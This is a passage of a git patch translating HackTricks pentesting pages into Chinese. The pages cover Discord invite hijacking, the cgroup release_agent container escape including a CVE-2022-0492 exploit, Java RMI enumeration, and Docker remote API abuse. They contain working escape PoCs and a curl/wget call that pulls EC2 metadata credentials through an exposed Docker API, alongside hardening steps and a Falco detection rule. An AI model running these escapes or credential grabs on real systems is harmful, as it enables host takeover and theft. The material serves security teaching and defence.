From 9e46a3b886b5d46b1f63813aa89d7149bed1dd12 Mon Sep 17 00:00:00 2001 From: Translator Date: Sat, 12 Jul 2025 15:26:22 +0000 Subject: [PATCH] Translated ['src/generic-methodologies-and-resources/phishing-methodolog --- .../discord-invite-hijacking.md | 18 +-- .../docker-release_agent-cgroups-escape.md | 120 ++++++++++++++---- .../1099-pentesting-java-rmi.md | 30 ++--- .../2375-pentesting-docker.md | 36 +++--- .../pentesting-web/joomla.md | 10 +- .../pentesting-web/moodle.md | 10 +- .../low-power-wide-area-network.md | 8 +- 7 files changed, 152 insertions(+), 80 deletions(-) diff --git a/src/generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md b/src/generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md index 180d17708..e719f830b 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md @@ -6,11 +6,11 @@ Discord 的邀请系统漏洞允许威胁行为者声称过期或删除的邀请 ## 邀请类型和劫持风险 -| 邀请类型 | 可劫持？ | 条件 / 评论 | -|-----------------------|-------------|--------------------------------------------------------------------------------------------------------| -| 临时邀请链接 | ✅ | 过期后，代码变得可用，可以被提升服务器重新注册为虚荣 URL。 | -| 永久邀请链接 | ⚠️ | 如果被删除且仅由小写字母和数字组成，代码可能会再次变得可用。 | -| 自定义虚荣链接 | ✅ | 如果原始服务器失去 Level 3 Boost，其虚荣邀请将变得可供新注册。 | +| 邀请类型 | 可劫持？ | 条件 / 评论 | +|-----------------------|----------|------------------------------------------------------------------------------------------------------| +| 临时邀请链接 | ✅ | 过期后，代码变得可用，可以被提升的服务器重新注册为虚荣 URL。 | +| 永久邀请链接 | ⚠️ | 如果被删除且仅由小写字母和数字组成，代码可能会再次可用。 | +| 自定义虚荣链接 | ✅ | 如果原始服务器失去 Level 3 Boost，其虚荣邀请将可供新注册。 | ## 利用步骤 @@ -22,7 +22,7 @@ Discord 的邀请系统漏洞允许威胁行为者声称过期或删除的邀请 - 在 **服务器设置 → 虚荣 URL** 中，尝试分配目标邀请代码。如果被接受，该代码将被恶意服务器保留。 3. 劫持激活 - 对于临时邀请，等待原始邀请过期（或如果您控制源，则手动删除它）。 -- 对于包含大写字母的代码，小写变体可以立即声明，尽管重定向仅在过期后激活。 +- 对于包含大写字母的代码，可以立即声明小写变体，尽管重定向仅在过期后激活。 4. 静默重定向 - 一旦劫持激活，访问旧链接的用户将无缝地被发送到攻击者控制的服务器。 @@ -50,12 +50,12 @@ navigator.clipboard.writeText(cmd); - 使用包含至少一个大写字母或非字母数字字符的永久邀请链接（永不过期，不可重复使用）。 - 定期更换邀请代码并撤销旧链接。 -- 监控 Discord 服务器的提升状态和个性化 URL 的声明。 +- 监控 Discord 服务器的提升状态和虚荣 URL 声明。 - 教育用户验证服务器的真实性，并避免执行剪贴板粘贴的命令。 ## 参考文献 -- 从信任到威胁：被劫持的 Discord 邀请用于多阶段恶意软件交付 – https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/ -- Discord 自定义邀请链接文档 – https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link +- 从信任到威胁：被劫持的 Discord 邀请用于多阶段恶意软件交付 – [https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/](https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/) +- Discord 自定义邀请链接文档 – [https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link](https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md index e62e592bc..2c97f7ad7 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md @@ -4,7 +4,9 @@ **有关更多详细信息，请参阅** [**原始博客文章**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**。** 这只是一个摘要： -Original PoC: +--- + +## 经典 PoC (2019) ```shell d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)` mkdir -p $d/w;echo 1 >$d/w/notify_on_release @@ -12,38 +14,108 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh $1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o ``` -概念验证（PoC）演示了一种通过创建 `release_agent` 文件并触发其调用以在容器主机上执行任意命令来利用 cgroups 的方法。以下是涉及的步骤细分： +PoC 利用 **cgroup-v1** 的 `release_agent` 特性：当一个 cgroup 的最后一个任务退出时，如果该 cgroup 设置了 `notify_on_release=1`，内核（在 **主机的初始命名空间中**）会执行存储在可写文件 `release_agent` 中的程序路径。由于该执行是在 **主机上具有完全的 root 权限**，因此获得对该文件的写入访问权限就足以实现容器逃逸。 + +### 简短、易读的操作步骤 + +1. **准备一个新的 cgroup** -1. **准备环境：** -- 创建一个目录 `/tmp/cgrp` 作为 cgroup 的挂载点。 -- 将 RDMA cgroup 控制器挂载到该目录。如果 RDMA 控制器不存在，建议使用 `memory` cgroup 控制器作为替代。 -```shell -mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x -``` -2. **设置子 Cgroup：** -- 在挂载的 cgroup 目录中创建一个名为 "x" 的子 cgroup。 -- 通过向其 notify_on_release 文件写入 1 来为 "x" cgroup 启用通知。 ```shell +mkdir /tmp/cgrp +mount -t cgroup -o rdma cgroup /tmp/cgrp # 或 –o memory +mkdir /tmp/cgrp/x echo 1 > /tmp/cgrp/x/notify_on_release ``` -3. **配置释放代理：** -- 从 /etc/mtab 文件中获取主机上容器的路径。 -- 然后将 cgroup 的 release_agent 文件配置为执行位于获取的主机路径上的名为 /cmd 的脚本。 + +2. **将 `release_agent` 指向主机上攻击者控制的脚本** + ```shell -host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` +host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab) echo "$host_path/cmd" > /tmp/cgrp/release_agent ``` -4. **创建和配置 /cmd 脚本：** -- /cmd 脚本在容器内创建，并配置为执行 ps aux，将输出重定向到容器中的一个名为 /output 的文件。指定了主机上 /output 的完整路径。 + +3. **投放有效载荷** + ```shell -echo '#!/bin/sh' > /cmd -echo "ps aux > $host_path/output" >> /cmd -chmod a+x /cmd +cat <<'EOF' > /cmd +#!/bin/sh +ps aux > "$host_path/output" +EOF +chmod +x /cmd ``` -5. **触发攻击：** -- 在 "x" 子 cgroup 中启动一个进程，并立即终止。 -- 这会触发 `release_agent`（/cmd 脚本），该脚本在主机上执行 ps aux 并将输出写入容器中的 /output。 + +4. **触发通知器** + ```shell -sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" +sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs" # 添加自己并立即退出 +cat /output # 现在包含主机进程 ``` + +--- + +## 2022 内核漏洞 – CVE-2022-0492 + +在 2022 年 2 月，Yiqi Sun 和 Kevin Wang 发现 **内核在进程写入 cgroup-v1 中的 `release_agent` 时并未验证能力**（函数 `cgroup_release_agent_write`）。 + +实际上 **任何能够挂载 cgroup 层次结构的进程（例如通过 `unshare -UrC`）都可以在 *初始* 用户命名空间中写入任意路径到 `release_agent`，而无需 `CAP_SYS_ADMIN`**。在默认配置、以 root 运行的 Docker/Kubernetes 容器中，这允许： + +* 提升到主机上的 root 权限；↗ +* 在容器未被提升的情况下实现容器逃逸。 + +该缺陷被分配为 **CVE-2022-0492**（CVSS 7.8 / 高）并在以下内核版本中修复（以及所有后续版本）： + +* 5.16.2, 5.15.17, 5.10.93, 5.4.176, 4.19.228, 4.14.265, 4.9.299。 + +补丁提交：`1e85af15da28 "cgroup: Fix permission checking"`。 + +### 容器内的最小利用代码 +```bash +# prerequisites: container is run as root, no seccomp/AppArmor profile, cgroup-v1 rw inside +apk add --no-cache util-linux # provides unshare +unshare -UrCm sh -c ' +mkdir /tmp/c; mount -t cgroup -o memory none /tmp/c; +echo 1 > /tmp/c/notify_on_release; +echo /proc/self/exe > /tmp/c/release_agent; # will exec /bin/busybox from host +(sleep 1; echo 0 > /tmp/c/cgroup.procs) & +while true; do sleep 1; done +' +``` +如果内核存在漏洞，来自 *host* 的 busybox 二进制文件将以完全 root 权限执行。 + +### 加固与缓解措施 + +* **更新内核** (≥ 版本以上)。该补丁现在要求在 *initial* 用户命名空间中具有 `CAP_SYS_ADMIN` 才能写入 `release_agent`。 +* **优先使用 cgroup-v2** – 统一层次 **完全移除了 `release_agent` 功能**，消除了这一类的逃逸。 +* **禁用不需要的非特权用户命名空间**： +```shell +sysctl -w kernel.unprivileged_userns_clone=0 +``` +* **强制访问控制**：AppArmor/SELinux 策略拒绝在 `/sys/fs/cgroup/**/release_agent` 上执行 `mount`、`openat`，或丢弃 `CAP_SYS_ADMIN`，即使在易受攻击的内核上也能阻止该技术。 +* **只读绑定掩码** 所有 `release_agent` 文件（Palo Alto 脚本示例）： +```shell +for f in $(find /sys/fs/cgroup -name release_agent); do +mount --bind -o ro /dev/null "$f" +done +``` + +## 运行时检测 + +[`Falco`](https://falco.org/) 自 v0.32 起提供内置规则： +```yaml +- rule: Detect release_agent File Container Escapes +desc: Detect an attempt to exploit a container escape using release_agent +condition: open_write and container and fd.name endswith release_agent and +(user.uid=0 or thread.cap_effective contains CAP_DAC_OVERRIDE) and +thread.cap_effective contains CAP_SYS_ADMIN +output: "Potential release_agent container escape (file=%fd.name user=%user.name cap=%thread.cap_effective)" +priority: CRITICAL +tags: [container, privilege_escalation] +``` +规则在容器内仍然拥有 `CAP_SYS_ADMIN` 的进程尝试写入 `*/release_agent` 时触发。 + +## 参考 + +* [Unit 42 – CVE-2022-0492: container escape via cgroups](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/) – 详细分析和缓解脚本。 +* [Sysdig Falco rule & detection guide](https://sysdig.com/blog/detecting-mitigating-cve-2022-0492-sysdig/) + {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/1099-pentesting-java-rmi.md b/src/network-services-pentesting/1099-pentesting-java-rmi.md index 004679fd6..b6cec58f5 100644 --- a/src/network-services-pentesting/1099-pentesting-java-rmi.md +++ b/src/network-services-pentesting/1099-pentesting-java-rmi.md @@ -4,7 +4,7 @@ ## 基本信息 -_Java远程方法调用_，或称为 _Java RMI_，是一种面向对象的 _RPC_ 机制，允许位于一个 _Java虚拟机_ 中的对象调用位于另一个 _Java虚拟机_ 中的对象的方法。这使得开发人员能够使用面向对象的范式编写分布式应用程序。从攻击的角度来看，关于 _Java RMI_ 的简短介绍可以在 [this blackhat talk](https://youtu.be/t_aw1mDNhzI?t=202) 中找到。 +_Java Remote Method Invocation_，或称 _Java RMI_，是一种面向对象的 _RPC_ 机制，允许位于一个 _Java 虚拟机_ 中的对象调用位于另一个 _Java 虚拟机_ 中的对象的方法。这使得开发人员能够使用面向对象的范式编写分布式应用程序。从攻击的角度来看，关于 _Java RMI_ 的简短介绍可以在 [this blackhat talk](https://youtu.be/t_aw1mDNhzI?t=202) 中找到。 **默认端口：** 1090,1098,1099,1199,4443-4446,8999-9010,9999 ``` @@ -22,12 +22,12 @@ _nmap_ 有时在识别受 _SSL_ 保护的 _RMI_ 服务时会遇到问题。如 简单来说，_Java RMI_ 允许开发者在网络上提供一个 _Java object_。这打开了一个 _TCP_ 端口，客户端可以连接并调用相应对象的方法。尽管这听起来很简单，但 _Java RMI_ 需要解决几个挑战： -1. 要通过 _Java RMI_ 调度方法调用，客户端需要知道目标对象的 IP 地址、监听端口、实现的类或接口以及 `ObjID`（`ObjID` 是在对象可用于网络时创建的唯一且随机的标识符。它是必需的，因为 _Java RMI_ 允许多个对象在同一 _TCP_ 端口上监听）。 +1. 要通过 _Java RMI_ 调度方法调用，客户端需要知道目标对象的 IP 地址、监听端口、实现的类或接口以及 `ObjID`（`ObjID` 是在对象可用于网络时创建的唯一随机标识符。它是必需的，因为 _Java RMI_ 允许多个对象在同一 _TCP_ 端口上监听）。 2. 远程客户端可以通过调用暴露对象的方法在服务器上分配资源。_Java 虚拟机_ 需要跟踪这些资源中哪些仍在使用，哪些可以被垃圾回收。 第一个挑战由 _RMI registry_ 解决，它基本上是 _Java RMI_ 的命名服务。_RMI registry_ 本身也是一个 _RMI service_，但实现的接口和 `ObjID` 是固定的，并为所有 _RMI_ 客户端所知。这允许 _RMI_ 客户端仅通过知道相应的 _TCP_ 端口来使用 _RMI_ registry。 -当开发者希望在网络中提供他们的 _Java objects_ 时，他们通常将其绑定到 _RMI registry_。_registry_ 存储连接到对象所需的所有信息（IP 地址、监听端口、实现的类或接口和 `ObjID` 值），并以人类可读的名称（_bound name_）提供。希望使用 _RMI service_ 的客户端向 _RMI registry_ 请求相应的 _bound name_，注册表返回所有连接所需的信息。因此，情况基本上与普通的 _DNS_ 服务相同。以下列表显示了一个小示例： +当开发者希望在网络中提供他们的 _Java objects_ 时，他们通常将其绑定到 _RMI registry_。_registry_ 存储连接到对象所需的所有信息（IP 地址、监听端口、实现的类或接口和 `ObjID` 值），并以人类可读的名称（_bound name_）提供。想要使用 _RMI service_ 的客户端向 _RMI registry_ 请求相应的 _bound name_，注册表返回所有连接所需的信息。因此，情况基本上与普通的 _DNS_ 服务相同。以下列表显示了一个小示例： ```java import java.rmi.registry.Registry; import java.rmi.registry.LocateRegistry; @@ -51,15 +51,15 @@ e.printStackTrace(); } } ``` -上述提到的第二个挑战是由 _Distributed Garbage Collector_ (_DGC_) 解决的。这是另一个具有众所周知的 `ObjID` 值的 _RMI service_，并且基本上在每个 _RMI endpoint_ 上都可用。当 _RMI client_ 开始使用 _RMI service_ 时，它会向 _DGC_ 发送信息，表明相应的 _remote object_ 正在使用中。然后，_DGC_ 可以跟踪引用计数，并能够清理未使用的对象。 +上述提到的第二个挑战是由 _Distributed Garbage Collector_ (_DGC_) 解决的。这是另一个具有众所周知的 `ObjID` 值的 _RMI service_，基本上在每个 _RMI endpoint_ 上都可用。当 _RMI client_ 开始使用 _RMI service_ 时，它会向 _DGC_ 发送信息，表明相应的 _remote object_ 正在使用中。然后，_DGC_ 可以跟踪引用计数，并能够清理未使用的对象。 -连同已弃用的 _Activation System_，这就是 _Java RMI_ 的三个默认组件： +连同已弃用的 _Activation System_，这三个是 _Java RMI_ 的默认组件： 1. _RMI Registry_ (`ObjID = 0`) 2. _Activation System_ (`ObjID = 1`) 3. _Distributed Garbage Collector_ (`ObjID = 2`) -_Java RMI_ 的默认组件已知攻击向量已有一段时间，并且在过时的 _Java_ 版本中存在多个漏洞。从攻击者的角度来看，这些默认组件很有趣，因为它们实现了已知的类/接口，并且可以轻松与之交互。对于自定义的 _RMI services_，情况则不同。要调用 _remote object_ 上的方法，您需要提前知道相应的方法签名。如果不知道现有的方法签名，就无法与 _RMI service_ 进行通信。 +_Java RMI_ 的默认组件已知是攻击向量已有一段时间，并且在过时的 _Java_ 版本中存在多个漏洞。从攻击者的角度来看，这些默认组件很有趣，因为它们实现了已知的类/接口，并且可以轻松与之交互。对于自定义的 _RMI services_，情况则不同。要调用 _remote object_ 上的方法，您需要提前知道相应的方法签名。如果不知道现有的方法签名，就无法与 _RMI service_ 进行通信。 ## RMI Enumeration @@ -80,7 +80,7 @@ $ rmg enum 172.17.0.2 9010 [+] [+] RMI server codebase enumeration: [+] -[+] - http://iinsecure.dev/well-hidden-development-folder/ +[+] - [http://iinsecure.dev/well-hidden-development-folder/](http://iinsecure.dev/well-hidden-development-folder/) [+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub [+] --> de.qtc.rmg.server.interfaces.IPlainServer [+] @@ -123,9 +123,9 @@ $ rmg enum 172.17.0.2 9010 [+] --> Deserialization allowed - Vulnerability Status: Vulnerable [+] --> Client codebase enabled - Configuration Status: Non Default ``` -枚举操作的输出在项目的[文档页面](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action)中有更详细的解释。根据结果，您应该尝试验证识别出的漏洞。 +枚举操作的输出在项目的[文档页面](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action)中有更详细的说明。根据结果，您应该尝试验证已识别的漏洞。 -_远程方法猜测器_显示的`ObjID`值可用于确定服务的正常运行时间。这可能有助于识别其他漏洞： +由_remote-method-guesser_显示的`ObjID`值可用于确定服务的正常运行时间。这可能有助于识别其他漏洞： ``` $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]' [+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236] @@ -136,11 +136,11 @@ $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]' [+] Time: 1640761503828 (Dec 29,2021 08:05) [+] Count: -32760 ``` -## 暴力破解远程方法 +## Bruteforcing Remote Methods 即使在枚举过程中没有发现漏洞，可用的 _RMI_ 服务仍可能暴露危险功能。此外，尽管与 _RMI_ 默认组件的 _RMI_ 通信受到反序列化过滤器的保护，但与自定义 _RMI_ 服务的通信通常没有这些过滤器。因此，了解 _RMI_ 服务上的有效方法签名是非常有价值的。 -不幸的是，_Java RMI_ 不支持枚举 _远程对象_ 上的方法。也就是说，可以使用像 [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) 或 [rmiscout](https://github.com/BishopFox/rmiscout) 这样的工具来暴力破解方法签名： +不幸的是，_Java RMI_ 不支持枚举 _remote objects_ 上的方法。也就是说，可以使用像 [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) 或 [rmiscout](https://github.com/BishopFox/rmiscout) 这样的工具来暴力破解方法签名： ``` $ rmg guess 172.17.0.2 9010 [+] Reading method candidates from internal wordlist rmg.txt @@ -238,8 +238,8 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub [+] - javax.management.remote.rmi.RMIConnection newClient(Object params) [+] [+] References: -[+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html -[+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi +[+] - [https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html](https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html) +[+] - [https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi](https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi) [+] [+] Vulnerabilities: [+] @@ -253,7 +253,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub [+] is therefore most of the time equivalent to remote code execution. [+] [+] References: -[+] - https://github.com/qtc-de/beanshooter +[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter) [+] [+] ----------------------------------- [+] Name: @@ -266,7 +266,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub [+] establish a working JMX connection, you can also perform deserialization attacks. [+] [+] References: -[+] - https://github.com/qtc-de/beanshooter +[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter) ``` ## Shodan diff --git a/src/network-services-pentesting/2375-pentesting-docker.md b/src/network-services-pentesting/2375-pentesting-docker.md index 9f7de788e..d91c91f62 100644 --- a/src/network-services-pentesting/2375-pentesting-docker.md +++ b/src/network-services-pentesting/2375-pentesting-docker.md @@ -6,15 +6,15 @@ #### 什么是 -Docker 是 **容器化行业**的 **前沿平台**，引领着 **持续创新**。它促进了应用程序的轻松创建和分发，涵盖从 **传统到未来** 的各个方面，并确保它们在不同环境中的 **安全部署**。 +Docker 是 **容器化行业**中的 **前沿平台**，引领着 **持续创新**。它促进了应用程序的轻松创建和分发，从 **传统到未来**，并确保它们在不同环境中的 **安全部署**。 -#### 基本 Docker 架构 +#### 基本 docker 架构 -- [**containerd**](http://containerd.io): 这是一个 **核心运行时**，负责全面 **管理容器的生命周期**。这包括处理 **镜像传输和存储**，以及监督容器的 **执行、监控和网络**。关于 containerd 的 **更详细见解** 将 **进一步探讨**。 +- [**containerd**](http://containerd.io): 这是一个 **容器的核心运行时**，负责全面 **管理容器的生命周期**。这包括处理 **镜像传输和存储**，以及监督容器的 **执行、监控和网络**。关于 containerd 的 **更详细见解** 在 **进一步探讨** 中。 - **container-shim** 在处理 **无头容器** 时扮演着关键角色，顺利接管 **runc** 在容器初始化后的工作。 -- [**runc**](http://runc.io): 以其 **轻量级和通用容器运行时** 能力而闻名，runc 符合 **OCI 标准**。它被 containerd 用于根据 **OCI 指南** **启动和管理容器**，并从最初的 **libcontainer** 发展而来。 +- [**runc**](http://runc.io): 以其 **轻量级和通用的容器运行时** 能力而闻名，runc 与 **OCI 标准** 一致。它被 containerd 用于 **根据 OCI 指南启动和管理容器**，并从最初的 **libcontainer** 发展而来。 - [**grpc**](http://www.grpc.io) 对于 **促进 containerd 和 docker-engine 之间的通信** 至关重要，确保 **高效交互**。 -- [**OCI**](https://www.opencontainers.org) 在维护 **运行时和镜像的 OCI 规范** 中发挥着关键作用，最新的 Docker 版本 **符合 OCI 镜像和运行时** 标准。 +- [**OCI**](https://www.opencontainers.org) 在维护 **运行时和镜像的 OCI 规范** 中发挥着重要作用，最新的 Docker 版本 **符合 OCI 镜像和运行时** 标准。 #### 基本命令 ```bash @@ -43,7 +43,7 @@ docker system prune -a **Containerd** 是专门为满足 **Docker 和 Kubernetes** 等容器平台的需求而开发的。它旨在通过抽象操作系统特定的功能和系统调用，**简化在各种操作系统上执行容器** 的过程，包括 Linux、Windows、Solaris 等。Containerd 的目标是仅包含用户所需的基本功能，努力省略不必要的组件。然而，完全实现这一目标被认为是具有挑战性的。 -一个关键的设计决策是 **Containerd 不处理网络**。网络被视为分布式系统中的一个关键元素，具有软件定义网络 (SDN) 和服务发现等复杂性，这些复杂性在不同平台之间差异显著。因此，Containerd 将网络方面的管理留给它所支持的平台。 +一个关键的设计决策是 **Containerd 不处理网络**。网络被视为分布式系统中的一个关键元素，具有软件定义网络 (SDN) 和服务发现等复杂性，这些在不同平台之间差异显著。因此，Containerd 将网络方面的管理留给它所支持的平台。 虽然 **Docker 利用 Containerd** 来运行容器，但重要的是要注意 Containerd 仅支持 Docker 功能的一个子集。具体而言，Containerd 缺乏 Docker 中存在的网络管理能力，并且不支持直接创建 Docker swarm。这一区别突显了 Containerd 作为容器运行时环境的专注角色，将更专业的功能委托给它所集成的平台。 ```bash @@ -63,20 +63,20 @@ ctr container delete ``` #### Podman -**Podman** 是一个开源容器引擎，遵循 [Open Container Initiative (OCI) standards](https://github.com/opencontainers)，由 Red Hat 开发和维护。它与 Docker 的不同之处在于几个独特的特性，特别是其 **无守护进程架构** 和对 **无根容器** 的支持，使用户能够在没有根权限的情况下运行容器。 +**Podman** 是一个遵循 [Open Container Initiative (OCI) standards](https://github.com/opencontainers) 的开源容器引擎，由 Red Hat 开发和维护。它与 Docker 的不同之处在于几个独特的特性，特别是其 **无守护进程架构** 和对 **无根容器** 的支持，使用户能够在没有根权限的情况下运行容器。 -Podman 旨在与 Docker 的 API 兼容，允许使用 Docker CLI 命令。这种兼容性扩展到其生态系统，包括用于构建容器镜像的工具 **Buildah** 和用于图像操作（如推送、拉取和检查）的 **Skopeo**。有关这些工具的更多详细信息，请参见它们的 [GitHub page](https://github.com/containers/buildah/tree/master/docs/containertools)。 +Podman 旨在与 Docker 的 API 兼容，允许使用 Docker CLI 命令。这种兼容性扩展到其生态系统，包括用于构建容器镜像的工具 **Buildah** 和用于图像操作（如推送、拉取和检查）的 **Skopeo**。有关这些工具的更多详细信息，请访问它们的 [GitHub page](https://github.com/containers/buildah/tree/master/docs/containertools)。 **主要区别** -- **架构**：与 Docker 的客户端-服务器模型及其后台守护进程不同，Podman 在没有守护进程的情况下运行。这种设计意味着容器以启动它们的用户的权限运行，通过消除对根访问的需求来增强安全性。 +- **架构**：与 Docker 的客户端-服务器模型和后台守护进程不同，Podman 在没有守护进程的情况下运行。这种设计意味着容器以启动它们的用户的权限运行，通过消除对根访问的需求来增强安全性。 - **Systemd 集成**：Podman 与 **systemd** 集成以管理容器，允许通过 systemd 单元进行容器管理。这与 Docker 主要用于管理 Docker 守护进程的 systemd 使用形成对比。 -- **无根容器**：Podman 的一个关键特性是能够在发起用户的权限下运行容器。这种方法通过确保攻击者仅获得受损用户的权限，而不是根访问，来最小化与容器漏洞相关的风险。 +- **无根容器**：Podman 的一个关键特性是能够在发起用户的权限下运行容器。这种方法通过确保攻击者仅获得被攻陷用户的权限，而不是根访问，来最小化与容器漏洞相关的风险。 Podman 的方法提供了一个安全且灵活的 Docker 替代方案，强调用户权限管理和与现有 Docker 工作流的兼容性。 -> [!NOTE] -> 请注意，由于 podman 旨在支持与 docker 相同的 API，您可以使用与 docker 相同的命令与 podman，例如： +> [!TIP] +> 请注意，由于 podman 旨在支持与 docker 相同的 API，您可以使用与 docker 相同的命令来使用 podman，例如： > > ```bash > podman --version @@ -87,7 +87,7 @@ Podman 的方法提供了一个安全且灵活的 Docker 替代方案，强调 ### 基本信息 -远程 API 默认在启用时运行于 2375 端口。该服务默认不需要身份验证，允许攻击者启动一个特权的 docker 容器。通过使用远程 API，可以将主机 /（根目录）附加到容器，并读取/写入主机环境的文件。 +当启用时，远程 API 默认在 2375 端口上运行。该服务默认不需要身份验证，允许攻击者启动特权 docker 容器。通过使用远程 API，可以将主机 /（根目录）附加到容器并读取/写入主机环境的文件。 **默认端口：** 2375 ``` @@ -134,9 +134,9 @@ docker-init: Version: 0.18.0 GitCommit: fec3683 ``` -如果您可以 **使用 `docker` 命令联系远程 docker API**，您可以 **执行** 任何之前评论过的 **docker** [**命令**](2375-pentesting-docker.md#basic-commands) 来与服务进行交互。 +如果您可以 **使用 `docker` 命令联系远程 docker API**，您可以 **执行** 任何 **之前评论过的** **docker** [**命令**](2375-pentesting-docker.md#basic-commands) 来与服务进行交互。 -> [!NOTE] +> [!TIP] > 您可以 `export DOCKER_HOST="tcp://localhost:2375"` 并 **避免** 在 docker 命令中使用 `-H` 参数 **快速权限提升** @@ -152,7 +152,7 @@ curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq #List processes inside a container curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq #Set up and exec job to hit the metadata URL -curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}' +curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- [http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'] #Get the output curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}' # list secrets (no secrets/swarm not set up) @@ -184,7 +184,7 @@ nmap -sV --script "docker-*" -p ``` ### 破坏 -在以下页面中，您可以找到**从 Docker 容器中逃脱**的方法： +在以下页面中，您可以找到**从docker容器中逃脱**的方法： {{#ref}} ../linux-hardening/privilege-escalation/docker-security/ @@ -262,7 +262,7 @@ docker cp :/etc/ #### Logging Suspicious activity - 您可以使用工具 [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) 来检测 **正在运行的容器中的可疑行为**。 -- 请注意以下代码块中 **Falco 编译内核模块并插入它**。之后，它加载规则并 **开始记录可疑活动**。在这种情况下，它检测到启动了 2 个特权容器，其中 1 个具有敏感挂载，并且在几秒钟后检测到在其中一个容器内打开了一个 shell。 +- 请注意以下代码块中 **Falco 编译内核模块并插入它**。之后，它加载规则并 **开始记录可疑活动**。在这种情况下，它检测到启动了 2 个特权容器，其中 1 个具有敏感挂载，几秒钟后它检测到在其中一个容器内打开了一个 shell。 ```bash docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco * Setting up /usr/src links from host diff --git a/src/network-services-pentesting/pentesting-web/joomla.md b/src/network-services-pentesting/pentesting-web/joomla.md index d1a8fc1c9..9c1dd72fe 100644 --- a/src/network-services-pentesting/pentesting-web/joomla.md +++ b/src/network-services-pentesting/pentesting-web/joomla.md @@ -5,7 +5,7 @@ ### Joomla 统计 -Joomla 收集了一些匿名的 [使用统计数据](https://developer.joomla.org/about/stats.html)，例如 Joomla、PHP 和数据库版本的分布以及在 Joomla 安装中使用的服务器操作系统。这些数据可以通过他们的公共 [API](https://developer.joomla.org/about/stats/api.html) 查询。 +Joomla 收集一些匿名 [使用统计数据](https://developer.joomla.org/about/stats.html)，例如 Joomla、PHP 和数据库版本的分布以及在 Joomla 安装中使用的服务器操作系统。这些数据可以通过他们的公共 [API](https://developer.joomla.org/about/stats/api.html) 查询。 ```bash curl -s 